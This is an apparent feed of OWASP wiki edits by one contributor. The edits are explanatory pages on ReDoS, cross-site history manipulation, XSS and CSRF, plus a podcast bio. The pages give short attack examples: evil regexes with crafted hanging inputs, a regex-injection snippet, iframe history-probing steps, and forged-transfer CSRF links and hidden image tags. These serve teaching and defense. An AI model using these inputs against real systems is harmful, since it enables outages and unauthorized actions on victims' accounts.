https://wiki.owasp.org/api.php?action=feedcontributions&user=Adar+Weidman&feedformat=atomOWASP - User contributions [en]2024-03-29T05:10:21ZUser contributionsMediaWiki 1.27.2https://wiki.owasp.org/index.php?title=Podcast_56&diff=111207Podcast 562011-05-30T09:33:41Z<p>Adar Weidman: Add emai address</p>
<hr />
<div>'''[[OWASP_Podcast|OWASP Podcast Series]] #56'''<br />
<br />
OWASP Interview with Adar Weidman<br/><br />
Published December 7, 2009<br/><br />
<br />
[http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=300769012 http://www.owasp.org/download/jmanico/itunes.jpg] [http://www.owasp.org/download/jmanico/podcast.xml https://www.owasp.org/images/d/d3/Feed-icon-32x32.png] [http://www.owasp.org/download/jmanico/owasp_podcast_56.mp3 mp3]<br />
<br />
==Participants==<br />
<ul><br />
<li><br />
<b>Adar Weidman</b> is a senior software developer at [http://www.checkmarx.com Checkmarx].<br />
Adar has been active in the High Tech industry for over 15 years working as a software developer, algorithms expert and team leader. Adar holds a Bachelor’s degree in Computer Science, and a Master's degree in Operations Research and System Analysis from the Technion University in Israel. Prior to joining [http://www.checkmarx.com Checkmarx], Adar was a senior algorithms developer in [http://www.retalix.com Retalix]. Adar has also held research and managerial positions in a governmental agency for over 10 years.<br>Adar's contact info: adar DOT weidman AT gmail DOT com.<br />
</li></div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Podcast_56&diff=111206Podcast 562011-05-30T09:31:20Z<p>Adar Weidman: </p>
<hr />
<div>'''[[OWASP_Podcast|OWASP Podcast Series]] #56'''<br />
<br />
OWASP Interview with Adar Weidman<br/><br />
Published December 7, 2009<br/><br />
<br />
[http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=300769012 http://www.owasp.org/download/jmanico/itunes.jpg] [http://www.owasp.org/download/jmanico/podcast.xml https://www.owasp.org/images/d/d3/Feed-icon-32x32.png] [http://www.owasp.org/download/jmanico/owasp_podcast_56.mp3 mp3]<br />
<br />
==Participants==<br />
<ul><br />
<li><br />
<b>Adar Weidman</b> ([adar.weidman@gmail.com]) is a senior software developer at [http://www.checkmarx.com Checkmarx].<br />
Adar has been active in the High Tech industry for over 15 years working as a software developer, algorithms expert and team leader. Adar holds a Bachelor’s degree in Computer Science, and a Master's degree in Operations Research and System Analysis from the Technion University in Israel. Prior to joining [http://www.checkmarx.com Checkmarx], Adar was a senior algorithms developer in [http://www.retalix.com Retalix]. Adar has also held research and managerial positions in a governmental agency for over 10 years.<br />
</li></div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Regular_expression_Denial_of_Service_-_ReDoS&diff=78199Regular expression Denial of Service - ReDoS2010-02-10T00:51:31Z<p>Adar Weidman: /* References */</p>
<hr />
<div>{{template: Attack}}<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Introduction==<br />
The '''Regular expression Denial of Service (ReDoS)''' is a [[Denial of Service]] attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.<br />
<br />
==Description==<br />
===The problematic Regex naïve algorithm===<br />
The Regular Expression naïve algorithm builds a [http://en.wikipedia.org/wiki/Nondeterministic_finite_state_machine Nondeterministic Finite Automaton (NFA)], which is a finite state machine where for each pair of state and input symbol there may be several possible next states. Then the engine starts to make transition until the end of the input. Since there may be several possible next states, a deterministic algorithms is used. This algorithm tries one by one all the possible paths (if needed) until a match is found (or all the paths are tried and fail).<br />
<br />
For example, the Regex '''''^(a+)+$''''' is represented by the following NFA:<br />
<br />
:::[[File:NFA.png]]<br />
<br />
For the input '''''aaaaX''''' there are 16 possible paths in the above graph. But for '''''aaaaaaaaaaaaaaaaX''''' there are 65536 possible paths, and the number is double for each additional '''''a'''''. This is an extreme case where the naïve algorithm is problematic, because it must pass on many many paths, and then fail.<br />
<br />
Notice, that not all algorithms are naïve, and actually Regex algorithms can be written in an efficient way. Unfortunately, most Regex engines today try to solve not only "pure" Regexes, but also "expanded" Regexes with "special additions", such as back-references that cannot be always be solved efficiently (see '''Patterns for non-regular languages''' in [http://en.wikipedia.org/wiki/Regular_expression Wiki-Regex] for some more details). So even if the Regex is not "expanded", a naïve algorithm is used.<br />
<br />
===Evil Regexes===<br />
A Regex is called "evil" if it can stuck on crafted input.<br />
<br />
'''Evil Regex pattern contains''':<br />
* Grouping with repetition<br />
* Inside the repeated group:<br />
** Repetition<br />
** Alternation with overlapping<br />
<br />
'''Examples of Evil Patterns''':<br />
* (a+)+<br />
* ([a-zA-Z]+)*<br />
* (a|aa)+<br />
* (a|a?)+<br />
* (.*a){x} | for x > 10<br />
<br />
All the above are susceptible to the input '''''aaaaaaaaaaaaaaaaaaaaaaaa!''''' (The minimum input length might change slightly, when using faster or slower machines).<br />
<br />
===Attacks===<br />
The attacker might use the above knowledge to look for applications that use Regular Expressions, containing an '''Evil Regex''', and send a well-crafted input, that will hang the system. Alternatively, if a Regex itself is affected by a user input, the attacker can inject an '''Evil Regex''', and make the system vulnerable.<br />
<br />
==Risk Factors==<br />
The Web is Regex-Based:<br />
<br />
:::[[File:RegexBasedWeb.png]]<br />
<br />
In every layer of the WEB there are Regular Expressions, that might contain an '''Evil Regex'''. An attacker can hang a WEB-browser (on a computer or potentially also on a mobile device), hang a Web Application Firewall (WAF), attack a database, and even stack a vulnerable WEB server.<br />
<br />
For example, if a programmer uses a Regex to validate the client side of a system, and the Regex contains an '''Evil Regex''', the attacker can assume the same vulnerable Regex is used in the server side, and send a well-crafted input, that stacks the WEB server.<br />
<br />
==Examples==<br />
===Vulnerable Regex in online repositories===<br />
1. [http://regexlib.com/REDetails.aspx?regexp_id=1757 ReGexLib,id=1757 (email validation)] - see bold part, which is an '''Evil Regex'''<br />
^([a-zA-Z0-9])'''(([\-.]|[_]+)?([a-zA-Z0-9]+))*'''(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$<br />
<br />
Input:<br />
aaaaaaaaaaaaaaaaaaaaaaaa!<br />
<br />
2. [[OWASP Validation Regex Repository]], Java Classname - see bold part, which is an '''Evil Regex'''<br />
^'''(([a-z])+.)+'''[A-Z]([a-z])+$<br />
<br />
Input:<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!<br />
<br />
===Web application attack===<br />
* Open a JavaScript <br />
* Find '''Evil Regex'''<br />
* Craft a malicious input for the found Regex<br />
* Submit a valid value via intercepting proxy <br />
* Change the request to contain a malicious input<br />
* You are done!<br />
<br />
===ReDoS via Regex Injection===<br />
The following example checks if the username is part of the password entered by the user.<br />
String userName = textBox1.Text;<br />
String password = textBox2.Text;<br />
Regex testPassword = new Regex(userName);<br />
Match match = testPassword.Match(password);<br />
if (match.Success)<br />
{<br />
MessageBox.Show("Do not include name in password.");<br />
}<br />
else<br />
{<br />
MessageBox.Show("Good password.");<br />
}<br />
If an attacker enters ''^(([a-z])+.)+[A-Z]([a-z])+$'' as a username and ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'' as a password, the program will hang.<br />
==Related [[Threat Agents]]==<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Denial of Service]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category: Input Validation Vulnerability]]<br />
* [[:Category: API Abuse]]<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* [http://www.cs.rice.edu/~scrosby/hash/slides/USENIX-RegexpWIP.2.ppt Regular Expression Denial Of Service / Crosby&Wallach, Usenix Security 2003]<br />
* [http://www.checkmarx.com/NewsDetails.aspx?id=23&cat=3 Regular expression Denial of Service Revisited, Sep-2009]<br />
* [[Media:20091210_VAC-REGEX_DOS-Adar_Weidman.pdf| VAC Presentation - ReDoS, OWASP-NL Chapter meeting Dec-2009]]<br />
* [[Podcast 56|OWASP podcast about ReDoS]]<br />
* [[OWASP Validation Regex Repository]]<br />
* [http://regexlib.com/ RegExLib]<br />
* Examples of ReDoS in open source applications:<br />
** [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3277 ReDoS in DataVault]<br />
** [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3275 ReDoS in EntLib]<br />
** [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3276 ReDoS in NASD CORE.NET Terelik]<br />
<br />
==Credit==<br />
{{Template:Checkmarx}}<br />
[[Category:Attack]]<br />
[[Category:Injection]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Cross_Site_History_Manipulation_(XSHM)&diff=78198Cross Site History Manipulation (XSHM)2010-02-10T00:46:25Z<p>Adar Weidman: /* References */ Added link to presentation in OWASP Israel chapter meeting</p>
<hr />
<div>{{template: Attack}}<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Description==<br />
'''Cross-Site History Manipulation (XSHM)''' is a [http://en.wikipedia.org/wiki/Same_origin_policy SOP (Same Origin Policy)] security breach. SOP is the most important security concept of modern browsers. SOP means that web pages from different origins by design cannot communicate with each other. '''Cross-Site History Manipulation''' breach is based on the fact that client-side browser history object is not properly partitioned on a per-site basis. Manipulating browser history may lead to SOP compromising, allow bi-directional [[Cross-Site_Request_Forgery_(CSRF)|CSRF]] and other exploitations such as: user privacy violation, login status detection, resources mapping, sensitive information inferring, users’ activity tracking and URL parameter stealing.<br />
<br />
==Risk Factors==<br />
By manipulating the browser history it is possible to compromise SOP and violate user privacy. Using [[Cross-Site_Request_Forgery_(CSRF)|CSRF]] in conjunction with history manipulation, not only integrity but also confidentiality can be targeted. Feedbacks from a different origin can be accessed and Cross-Site information leakage is achieved.<br />
<br />
The following attack vectors based on techniques of '''XSHM''' are possible:<br />
* Cross-Site Condition Leakage<br />
** Login Detection<br />
** Resource Mapping<br />
** Error Leakage<br />
** State Detection<br />
** Information Inference<br />
* Cross-Site User Tracking <br />
* Cross-Site URL/Parameters Enumeration<br />
<br />
==Examples==<br />
<br />
=== What is Condition Leakage? ===<br />
Condition leakage occurs when an attacker can infer a sensitive value of a conditional statement in an attacked application. For example, if a site contains the following logic:<br />
Page A: If (CONDITION)<br />
Redirect(Page B)<br />
<br />
an attacker can execute the [[Cross-Site_Request_Forgery_(CSRF)|CSRF]] and get an indication about the value of the condition as a feedback. This attack is executed from an attacker site. The site then submits a Cross-Site request to a victim site, and by manipulating the History object gets a feedback with required information leaked from a victim site. It is important to mention that the redirect command can appear explicitly in the code, or can be completed by the operational environment.<br />
<br />
Attack Vector:<br />
# Create IFRAME with src=Page B<br />
# Remember the current value of history.length <br />
# Change src of IFRAME to Page A<br />
# If the value of history.length is the same, then the CONDITION is TRUE<br />
<br />
=== Login Detection ===<br />
The following demo for IE and Facebook can show how one can identify if users are currently using facebook: [http://www.checkmarx.com/Demo/XSHM.aspx "Am I using Facebook?"]<br />
<br />
===Cross-Site Information Inference===<br />
It is possible to inference sensitive information from a page on a different origin, if it implements a conditional redirect. Suppose that in an HR application which is not publically accessible, a legal user can search employees by name, salary and other criteria. If the search has no results, a redirect command is then executed to a "Not Found" page. By submitting the following URL:<br />
http://Intranet/SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500<br />
and observing the NotFound redirection, attackers can inference sensitive information about a worker's salary.<br />
<br />
This can be done by using the following attack vector:<br />
# Create IFRAME with src="NotFound.aspx"<br />
# Remember the current value of history.length<br />
# Change src of IFRAME to "SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500"<br />
# If the value of history.length remains the same, then your search has no results<br />
<br />
By repeating the above attack and trying different values of the salary parameters, an attacker can gather very sensitive salary information of any employee. This is a very serious Cross-Site information leakage. If an application has a functionality like a search page with conditional redirect, then this application is vulnerable to '''XSHM''' and essentially it is a similar to a direct exposure to [[media:OWASP_IL_The_Universal_XSS_PDF_Vulnerability.pdf|Universal XSS]] – the application itself is [[Cross-site Scripting (XSS)|XSS]]-safe, but running it from a different site inside an IFRAME makes it vulnerable.<br />
==Related [[Threat Agents]]==<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[Cross-Site_Request_Forgery_(CSRF)|Cross-Site Request Forgery (CSRF)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Cross Site Scripting Flaw]]<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* [[OWASP_Israel_2010_02#19:10_-_19:40.C2.A0:_XSHM_-_Cross_Site_History_Manipulation|Presentation in OWASP Israel Local Chapter Meeting (Feb-2010)]]<br />
* [http://www.checkmarx.com/Upload/Documents/PDF/XSHM%20Cross%20site%20history%20manipulation.pdf Cross site history manipulation (XSHM) Guide]<br />
* [http://www.infosecurity-magazine.com/view/6828/checkmarx-identifies-new-web-browser-vulnerability/ Checkmarx identifies new web browser vulnerability], ''InfoSecurity Magazine'', January 27, 2010<br />
* [http://www.checkmarx.com/Demo/XSHM.aspx Demo for Internet Explorer users - "Am I using Facebook?"]<br />
* [http://en.wikipedia.org/wiki/Same_origin_policy Wikipedia: Same Origin Policy (SOP)]<br />
<br />
==Credit==<br />
{{Template:Checkmarx}}<br />
[[Category:Attack]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Cross_Site_Scripting_Flaw&diff=78135Cross Site Scripting Flaw2010-02-08T16:14:55Z<p>Adar Weidman: /* Related Attacks */ Add XSHM</p>
<hr />
<div>{{Template:Vulnerability}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]<br />
<br />
==Description==<br />
Cross site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into otherwise benign and trusted web sites. Cross site scripting flaws are the most prevalent flaw in web applications today. Cross site scripting attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.<br />
<br />
Attackers frequently use a variety of methods to encode the malicious portion of the tag, such as using Unicode, so the request is less suspicious looking to the user. There are hundreds of variants of these attacks, including versions that do not even require any < > symbols. For this reason, attempting to “filter out” these scripts is not likely to succeed. Instead we recommend validating input against a rigorous positive specification of what is expected. XSS attacks usually come in the form of embedded JavaScript. However, any embedded active content is a potential source of danger, including: ActiveX (OLE), VBscript, Shockwave, Flash and more.<br />
<br />
XSS issues can also be present in the underlying web and application servers as well. Most web and application servers generate simple web pages to display in the case of various errors, such as a 404 ‘page not found’ or a 500 ‘internal server error.’ If these pages reflect back any information from the user’s request, such as the URL they were trying to access, they may be vulnerable to a reflected XSS attack.<br />
<br />
The likelihood that a site contains XSS vulnerabilities is extremely high. There are a wide variety of ways to trick web applications into relaying malicious scripts. Developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings. Finding these flaws is not tremendously difficult for attackers, as all they need is a browser and some time. There are numerous free tools available that help hackers find these flaws as well as carefully craft and inject XSS attacks into a target site.<br />
<br />
===Environments Affected===<br />
All web servers, application servers, and web application environments are susceptible to cross site scripting. <br />
<br />
===How to Determine If You Are Vulnerable===<br />
There are three known types of cross site scripting: [[Cross-site_Scripting_(XSS)#Reflected_XSS_Attacks | reflected]], [[Cross-site_Scripting_(XSS)#Stored_XSS_Attacks | stored]], and [[DOM_Based_XSS | DOM injection]]. Reflected XSS is the easiest to exploit – a page will reflect user supplied data directly back to the user:<br />
<br />
echo $_REQUEST['userinput'];<br />
<br />
Stored XSS takes hostile data, stores it in a file, a database, or other back end system, and then at a later stage, displays the data to the user, unfiltered. This is extremely dangerous in systems such as CMS, blogs, or forums, where a large number of users will see input from other individuals.<br />
<br />
With DOM based XSS attacks, the site’s JavaScript code and variables are manipulated rather than HTML elements. Alternatively, attacks can be a blend or hybrid of all three types. The danger with cross site scripting is not the type of attack, but that it is possible.<br />
<br />
Attacks are usually implemented in JavaScript, which is a powerful scripting language. Using JavaScript allows attackers to manipulate any aspect of the rendered page, including adding new elements (such as adding a login tile which forwards credentials to a hostile site), manipulating any aspect of the internal DOM tree, and deleting or changing the way the page looks and feels. JavaScript allows the use of XmlHttpRequest, which is typically used by sites using AJAX technologies, even if victim site does not use AJAX today. <br />
<br />
Using XmlHttpRequest (AJAX), it is sometimes possible to get around a browser’s same source origination policy - thus forwarding victim data to hostile sites, and to create complex worms and malicious zombies that last as long as the browser stays open. AJAX attacks do not have to be visible or require user interaction to perform dangerous cross site request forgery (CSRF) attacks (see [[CSRF]]).<br />
<br />
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface.<br />
<br />
==Prevention==<br />
OWASP's recommended defenses against XSS are documented in the OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]].<br />
<!--<br />
==Risk Factors==<br />
<br />
TBD<br />
--><br />
<br />
==Examples==<br />
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4206 <br />
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3966 <br />
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5204 <br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[Cross Site History Manipulation (XSHM)]]<br />
<!--<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
==Related [[Controls]]==<br />
* [[Control 1]]<br />
* [[Control 2]]<br />
<br />
==Related [[Technical Impacts]]==<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
--><br />
<br />
==References==<br />
* [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, [[Data Validation]]<br />
* OWASP Testing Guide, [[Testing for Cross site scripting]]<br />
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml <br />
* XSS Cheat Sheet: http://ha.ckers.org/xss.html<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html <br />
* CERT "Understanding Malicious Content Mitigation" http://www.cert.org/tech_tips/malicious_code_mitigation.html <br />
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html <br />
* [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation with Stinger)]]<br />
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com <br />
<br />
[[Category:FIXME|links not working<br />
<br />
* Cross-Site Scripting Security Exposure Executive Summary: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/ExSumCS.asp <br />
* Have Your Cake and Eat it Too (.NET validation) http://www.owasp.org/columns/jpoteet/jpoteet2 <br />
<br />
]]<br />
<br />
[[Category:FIXME|add links<br />
<nowiki>[[Category:Input Validation Vulnerability]]</nowiki><br />
]]<br />
<br />
__NOTOC__<br />
<br />
[[Category:OWASP ASDR Project]]<br />
[[Category:OWASP Top Ten Project]]<br />
[[Category:Vulnerability]]<br />
[[Category:Externally Linked Page]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&diff=78134Cross-Site Request Forgery (CSRF)2010-02-08T16:14:22Z<p>Adar Weidman: /* Related Attacks */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
[[Category:OWASP ASDR Project]]<br />
<br><br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Overview==<br />
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.<br />
<br />
==Related Security Activities==<br />
<br />
===How to Review Code for CSRF Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Reviewing code for CSRF]] Vulnerabilities.<br />
<br />
===How to Test for CSRF Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for CSRF (OWASP-SM-005) |Test for CSRF]] Vulnerabilities.<br />
<br />
===How to Prevent CSRF Vulnerabilites===<br />
<br />
See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.<br />
<br />
==Description==<br />
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.<br />
<br />
For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.<br />
<br />
In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.<br />
<br />
Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.<br />
<br />
Synonyms: CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.<br />
<br />
===Prevention measures that do '''NOT''' work===<br />
;Using a secret cookie<br />
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.<br />
<br />
;Only accepting POST requests<br />
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in attacker's website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks form will do something else.<br />
<br />
<!--==Risk Factors==<br />
TBD<br />
--><br />
==Examples==<br />
<br />
===How does the attack work?===<br />
There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:<br />
<br />
POST <nowiki>http://bank.com/transfer.do</nowiki> HTTP/1.1<br />
...<br />
...<br />
...<br />
Content-Length: 19;<br />
<br />
acct=BOB&amount=100<br />
<br />
However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:<br />
<br />
GET <nowiki>http://bank.com/transfer.do?acct=BOB&amount=100</nowiki> HTTP/1.1<br />
<br />
Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:<br />
<br />
<nowiki>http://bank.com/transfer.do?acct=MARIA&amount=100000</nowiki><br />
<br />
Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following: <br />
<br />
<nowiki><a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a></nowiki><br />
<br />
Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:<br />
<br />
<nowiki><img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0"></nowiki><br />
<br />
If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.<br />
<br />
<!--==Related [[Threat Agents]]==<br />
* TBD<br />
--><br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[Cross Site History Manipulation (XSHM)]]<br />
<!--==Related [[Vulnerabilities]]==<br />
* TBD<br />
--><br />
<br />
==Related [[Controls]]==<br />
* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as "form keys". Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection "built-in" to every form so the programmer does not need to code this protection manually. <br />
* TBD: Add a per-session nonce to URL and all forms<br />
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms<br />
* TBD: .NET - add session identifier to ViewState with MAC<br />
* Checking HTTP referrer details can help mitigate the attack but does certainly not provide a bullet proof solution. By ensuring the HTTP posts have come from the original site means that the attacks from other sites will not function. However, if the CSRF attack was used in combination with XSS on the original site then this mechanism will not provide any protection. Furthermore, it is increasingly common for firewalls or browser plugins/settings to strip the referrer header, in which case legitimate requests would be denied.<br />
* "Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session." -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1<br />
* [[Tokenizing]]<br />
<br />
==References==<br />
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]<br />
: ''quote: "This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered."''<br />
<br />
* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]<br />
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)<br />
<br />
* [http://www.darkreading.com/document.asp?doc_id=107651&WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']<br />
: Overview Paper<br />
<br />
* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]<br />
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]<br />
<br />
* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]<br />
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.<br />
<br />
* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]<br />
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.<br />
<br />
[[Category:Exploitation of Authentication]]<br />
[[Category:Embedded Malicious Code]]<br />
[[Category:Spoofing]]<br />
[[Category: Attack]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&diff=78132Cross-Site Request Forgery (CSRF)2010-02-08T16:13:54Z<p>Adar Weidman: /* Related Attacks */ Add XSHM</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
[[Category:OWASP ASDR Project]]<br />
<br><br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Overview==<br />
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.<br />
<br />
==Related Security Activities==<br />
<br />
===How to Review Code for CSRF Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Reviewing code for CSRF]] Vulnerabilities.<br />
<br />
===How to Test for CSRF Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for CSRF (OWASP-SM-005) |Test for CSRF]] Vulnerabilities.<br />
<br />
===How to Prevent CSRF Vulnerabilites===<br />
<br />
See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.<br />
<br />
==Description==<br />
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.<br />
<br />
